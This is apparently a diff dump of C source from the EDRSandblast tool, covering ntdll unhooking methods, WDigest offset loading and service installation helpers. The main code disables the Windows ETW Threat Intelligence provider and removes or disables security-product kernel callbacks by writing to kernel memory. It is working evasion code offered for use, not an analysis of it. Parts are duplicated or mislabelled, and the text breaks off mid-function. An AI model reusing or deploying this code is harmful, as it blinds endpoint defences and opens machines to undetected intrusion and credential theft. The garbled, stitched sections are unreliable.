UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
UNHOOK_WITH_DIRECT_SYSCALL
};
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
UNHOOK_WITH_DIRECT_SYSCALL
}UNHOOK_METHOD;
hook* searchHooks(const char* csvFileName);
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName);
PVOID hookResolver(PBYTE hookAddr);
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
VOID unhook(hook* hook, DWORD unhook_method);
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget);
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch);
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method);
/*
+9 -3
View File
@@ -13,7 +13,8 @@
enum WdigestOffsetType {
g_fParameter_UseLogonCredential = 0,
g_IsCredGuardEnabled = 1
g_IsCredGuardEnabled = 1,
_SUPPORTED_WDIGEST_OFFSETS_END
};
union WdigestOffsets {
@@ -29,7 +30,12 @@ union WdigestOffsets {
DWORD64 ar[2];
};
union WdigestOffsets wdigestOffsets;
union WdigestOffsets g_wdigestOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb);
LPTSTR GetWdigestPath();
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include <Windows.h>
#include <aclapi.h>
#include <Tchar.h>
#include <stdio.h>
#include <time.h>
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
#endif
#define MAX_UNINSTALL_ATTEMPTS 3
#define OP_SLEEP_TIME 1000
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle);
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus);
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt);
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount);
@@ -0,0 +1,66 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#include <Windows.h>
#include <Tchar.h>
#include "../EDRSandBlast.h"
#include "ETWThreatIntel.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
if (g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
_putts_or_not(TEXT("[!] [ETWTI]\tETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel."));
return 0x0;
}
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadKernelMemoryDWORD64(g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle);
if (verbose) {
_tprintf_or_not(TEXT("[+] [ETWTI]\tFound ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
}
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(etwThreatInt_ETW_REG_ENTRYAddress + g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
return etwThreatInt_ETW_GUID_ENTRYAddress + g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
}
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return;
}
_tprintf_or_not(TEXT("[+] [ETWTI]\t%s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
enable ? TEXT("(Re)enabling") : TEXT("Disabling"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
WriteMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
_tprintf_or_not(TEXT("[+] [ETWTI]\tThe ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
}
void DisableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, FALSE);
}
void EnableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, TRUE);
}
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return FALSE;
}
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(etwThreatInt_ProviderEnableInfoAddress);
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
}
@@ -0,0 +1,140 @@
/*
--- Kernel callbacks operations.
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
*/
#include <Windows.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "FileVersion.h"
#include "IsEDRChecks.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "NtoskrnlOffsets.h"
#include "PEParser.h"
#include "PdbSymbols.h"
#include "KernelCallbacks.h"
const TCHAR* notifyRoutineTypeStrs[3] = { TEXT("process creation"), TEXT("thread creation"), TEXT("image loading") };
const TCHAR* notifyRoutineTypeNames[3] = { TEXT("ProcessCreate"), TEXT("ThreadCreate"), TEXT("LoadImage") };
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
SIZE_T CurrentEDRCallbacksCount = 0;
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
if (callback_struct != 0) {
DWORD64 callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
DWORD64 driverOffset;
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
struct KRNL_CALLBACK newFoundDriver = { 0 };
newFoundDriver.type = NOTIFY_ROUTINE_CB;
newFoundDriver.driver_name = driver;
newFoundDriver.addresses.notify_routine.callback_struct_addr = callback_addr;
newFoundDriver.addresses.notify_routine.callback_struct = callback_struct;
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
newFoundDriver.callback_func = cbFunction;
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver);
if (verbose) {
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
}
else {
_putts_or_not(TEXT(""));
}
newFoundDriver.removed = FALSE;
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
edrCallbacks->index++;
CurrentEDRCallbacksCount++;
}
}
}
if (CurrentEDRCallbacksCount == 0) {
_putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!"));
}
else {
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
}
return CurrentEDRCallbacksCount > 0;
}
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
if (cb->type == NOTIFY_ROUTINE_CB &&
cb->addresses.notify_routine.type == notifyRoutineType &&
cb->removed == !remove) {
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
action,
cb->driver_name,
cb->addresses.notify_routine.callback_struct_addr,
cb->addresses.notify_routine.callback_struct,
cb->callback_func);
DWORD64 value_to_write = remove ? 0 : cb->addresses.notify_routine.callback_struct;
WriteMemoryDWORD64(cb->addresses.notify_routine.callback_struct_addr, value_to_write);
cb->removed = !cb->removed;
}
}
}
void RemoveOrRestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, remove);
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, remove);
RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, remove);
}
/*
------ Generic callbacks manipulation.
*/
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt) {
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
DWORD64 Psp_X_NotifyRoutineOffset = g_ntoskrnlOffsets.ar[nrt];
DWORD64 Psp_X_NotifyRoutineAddress = Ntoskrnlbaseaddress + Psp_X_NotifyRoutineOffset;
return Psp_X_NotifyRoutineAddress;
}
/*
------ All EDR Kernel callbacks enumeration / removal.
*/
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
BOOL found = FALSE;
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_PROCESS_ROUTINE, edrCallbacks, verbose);
found |= EnumEDRSpecificNotifyRoutineCallbacks(CREATE_THREAD_ROUTINE, edrCallbacks, verbose);
found |= EnumEDRSpecificNotifyRoutineCallbacks(LOAD_IMAGE_ROUTINE, edrCallbacks, verbose);
return found;
}
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, TRUE);
}
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
}
+108
View File
@@ -0,0 +1,108 @@
#include <Windows.h>
#include <Psapi.h>
#include <Tchar.h>
#include "../EDRSandblast.h"
DWORD64 g_NtoskrnlBaseAddress;
DWORD64 FindNtoskrnlBaseAddress(void) {
if (g_NtoskrnlBaseAddress == 0) {
DWORD cbNeeded = 0;
LPVOID drivers[1024] = { 0 };
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
g_NtoskrnlBaseAddress = (DWORD64)drivers[0];
}
else {
return 0;
}
}
return g_NtoskrnlBaseAddress;
}
/*
* Returns the name of the driver where "address" seems to be located
* Optionnaly, return in "offset" the distance between "address" and the driver base address.
*/
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset) {
LPVOID drivers[1024] = { 0 };
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (offset) {
*offset = 0;
}
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (offset) {
*offset = minDiff;
}
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
if (!szDriver_cpy) {
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver name"));
return NULL;
}
return szDriver_cpy;
}
else {
_tprintf_or_not(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
/*
* Return the driver path given an address in kernel memory (the driver base or an address inside)
* TODO : might return paths that begins with "\systemroot\" for the moment, need fixing (cf. Firewalling.c)
*/
TCHAR* FindDriverPath(DWORD64 address) {
DWORD64 offset;
TCHAR* name = FindDriverName(address, &offset);
free(name);
name = NULL;
DWORD64 driverBaseAddress = address - offset;
TCHAR szDriver[MAX_PATH] = { 0 };
GetDeviceDriverFileName((PVOID)driverBaseAddress, szDriver, _countof(szDriver));
TCHAR* const szDriver_cpy = _tcsdup(szDriver);
if (!szDriver_cpy) {
_putts_or_not(TEXT("[!] Couldn't allocate memory to store the driver path"));
return NULL;
}
return szDriver_cpy;
}
DWORD64 GetKernelFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
@@ -0,0 +1,467 @@
#include <Tchar.h>
#include <Windows.h>
#include "../EDRSandblast.h"
#include "IsEDRChecks.h"
#include "PdbSymbols.h"
#include "NtoskrnlOffsets.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "FileVersion.h"
#include "KernelCallbacks.h"
#include "ObjectCallbacks.h"
typedef enum OB_OPERATION_e {
OB_OPERATION_HANDLE_CREATE = 1,
OB_OPERATION_HANDLE_DUPLICATE = 2,
OB_FLT_REGISTRATION_VERSION = 0x100
} OB_OPERATION;
typedef struct UNICODE_STRING_t {
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
} UNICODE_STRING;
#define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME)
#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolAddress(sym_ctx, #SYMBOL)
typedef struct OB_CALLBACK_t OB_CALLBACK;
/*
* Internal / undocumented version of OB_OPERATION_REGISTRATION
*/
typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList;
OB_OPERATION Operations;
BOOL Enabled;
OB_CALLBACK* Entry;
PVOID ObjectType; // POBJECT_TYPE
PVOID PreOperation; // POB_PRE_OPERATION_CALLBACK
PVOID PostOperation; // POB_POST_OPERATION_CALLBACK
KSPIN_LOCK Lock;
}OB_CALLBACK_ENTRY;
/*
* A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string
* Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION
*/
typedef struct OB_CALLBACK_t {
USHORT Version;
USHORT OperationRegistrationCount;
PVOID RegistrationContext;
UNICODE_STRING AltitudeString;
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // has OperationRegistrationCount items
WCHAR AltitudeBuffer[1]; // if AltitudeString.MaximumLength bytes long
} OB_CALLBACK;
//TODO : find a way to reliably find the offsets
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Operations = offsetof(OB_CALLBACK_ENTRY, Operations); //BOOL
DWORD64 Offset_CALLBACK_ENTRY_ITEM_Enabled = offsetof(OB_CALLBACK_ENTRY, Enabled); //DWORD
DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, ObjectType); //POBJECT_TYPE
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK
//TODO : parse the bitfield in the PDB symbols to ensure "SupportObjectCallbacks" is bit 6
WORD SupportObjectCallbacks_bit = 0x40;
struct ObjTypeSubjectToCallback {
TCHAR* name;
DWORD64 offset;
DWORD64 callbackListAddress;
DWORD64 callbackListFlinkBackup;
DWORD64 callbackListBlinkBackup;
SIZE_T nbCallbacks;
} ObjectTypesSubjectToCallback[2] = {
{.name = TEXT("Process"), .offset = 0},
{.name = TEXT("Thread"), .offset = 0},
};
/*
* Get symbols from Internet that are not in the NtoskrnlOffsets structure (for experimental functions only)
*/
void GetAdditionnalObjectCallbackOffsets() {
if (Offset__OBJECT_TYPE_Name) {
//Symbols and offsets already loaded
return;
}
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
if (sym_ctx == NULL) {
_tprintf_or_not(TEXT("Symbols not downloaded, aborting..."));
exit(1);
}
GET_OFFSET(_OBJECT_TYPE, Name);
GET_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
GET_OFFSET(_OBJECT_TYPE, TypeInfo);
GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
GET_SYMBOL(ObpObjectTypes);
GET_SYMBOL(ObpTypeObjectType);
UnloadSymbols(sym_ctx, FALSE);
}
/*
* ------- Callback Entry Undocumented structure strategy --------
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE contains a list of _CALLBACK_ENTRY_ITEM elements, _CALLBACK_ENTRY_ITEM being the unofficial name
* of an undocumented structure.
* The struct has been reversed engineered in various ntoskrnl.exe version and seems constant from Windows 10 version 10240 to 22000 (oldest to most recent versions)
*/
/*
* Experimental : enumerates all object types on Windows, and checks if some callbacks are defined, even if not officially supported
*/
void EnumAllObjectsCallbacks() {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
GetAdditionnalObjectCallbackOffsets();
//get object types count
DWORD64 ObjectTypeType = ReadKernelMemoryDWORD64(Sym_ObpTypeObjectType);
DWORD ObjectTypesCount = ReadMemoryDWORD(ObjectTypeType + Offset__OBJECT_TYPE_TotalNumberOfObjects);
for (DWORD i = 0; i < ObjectTypesCount; i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(Sym_ObpObjectTypes + i * sizeof(DWORD64));
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
WORD ObjectType_Name_Length = ReadMemoryWORD(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Length));
DWORD64 ObjectType_Name_Buffer = ReadMemoryDWORD64(ObjectType + Offset__OBJECT_TYPE_Name + offsetof(UNICODE_STRING, Buffer));
WCHAR typeName[256] = { 0 };
ReadMemory(ObjectType_Name_Buffer, typeName, ObjectType_Name_Length);
wprintf_or_not(L"Object type : %s\n", typeName);
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
if (!Enabled) {
continue;
}
OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
_tprintf_or_not(TEXT("Callback for handle %s%s%s\n"),
Operations & 1 ? TEXT("creations") : TEXT(""),
Operations == 3 ? TEXT(" & ") : TEXT(""),
Operations & 2 ? TEXT("duplications") : TEXT(""));
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
DWORD64 driverOffsetPreOperation = 0;
DWORD64 driverOffsetPostOperation = 0;
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffsetPreOperation);
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffsetPostOperation);
_tprintf_or_not(TEXT("\tPreoperation at %llx [%s + %llx])\n"), PreOperation, driverNamePreOperation, driverOffsetPreOperation);
_tprintf_or_not(TEXT("\tPostoperation at %llx [%s + %llx]\n"), PostOperation, driverNamePostOperation, driverOffsetPostOperation);
}
_putts_or_not(TEXT(""));
}
}
/*
* Enumerate all callbacks set on Process & Thread handle manipulation
* WARNING : depends on undocumented structures, but is able to differentiate EDR-related callbacks from potentially legitimate ones
*/
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return FALSE;
}
BOOL found = FALSE;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tEnumerating %s object callbacks : \n"), ObjectTypesSubjectToCallback[i].name);
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
if (FoundObjectCallbacks->index >= 256) {
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
exit(1);
}
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
TCHAR* OperationsString;
switch (Operations) {
case 1: // OB_OPERATION_HANDLE_CREATE
OperationsString = TEXT("creations");
break;
case 2: // OB_OPERATION_HANDLE_DUPLICATE
OperationsString = TEXT("duplications");
break;
case 3: // OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE
OperationsString = TEXT("creations & duplications");
break;
default:
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
exit(1);
}
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString);
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled"));
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
if (PreOperation) {
DWORD64 driverOffset;
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffset);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPreoperation at 0x%016llx [%s + 0x%llx]\n"), PreOperation, driverNamePreOperation, driverOffset);
if (isDriverNameMatchingEDR(driverNamePreOperation)) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
cb->type = OBJECT_CALLBACK;
cb->driver_name = driverNamePreOperation;
cb->removed = FALSE;
cb->callback_func = PreOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++;
found |= TRUE;
}
else {
_putts_or_not(TEXT("but is disabled."));
}
}
}
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
if (PostOperation) {
DWORD64 driverOffset;
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffset);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPostoperation at 0x%016llx [%s + 0x%llx]\n"), PostOperation, driverNamePostOperation, driverOffset);
if (Enabled && isDriverNameMatchingEDR(driverNamePostOperation)) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
if (FoundObjectCallbacks->index != 0 &&
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
//skip if last callback function belong to the same callback entry (preoperation)
continue;
}
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
cb->type = OBJECT_CALLBACK;
cb->driver_name = driverNamePostOperation;
cb->removed = FALSE;
cb->callback_func = PostOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++;
found |= TRUE;
}
else {
_putts_or_not(TEXT("but is disabled."));
}
}
}
}
}
return found;
}
void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks, BOOL enable) {
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return;
}
for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
WriteMemoryDWORD(cb->addresses.object_callback.enable_addr, enable ? TRUE : FALSE);
cb->removed = !cb->removed;
}
}
}
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, FALSE);
}
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
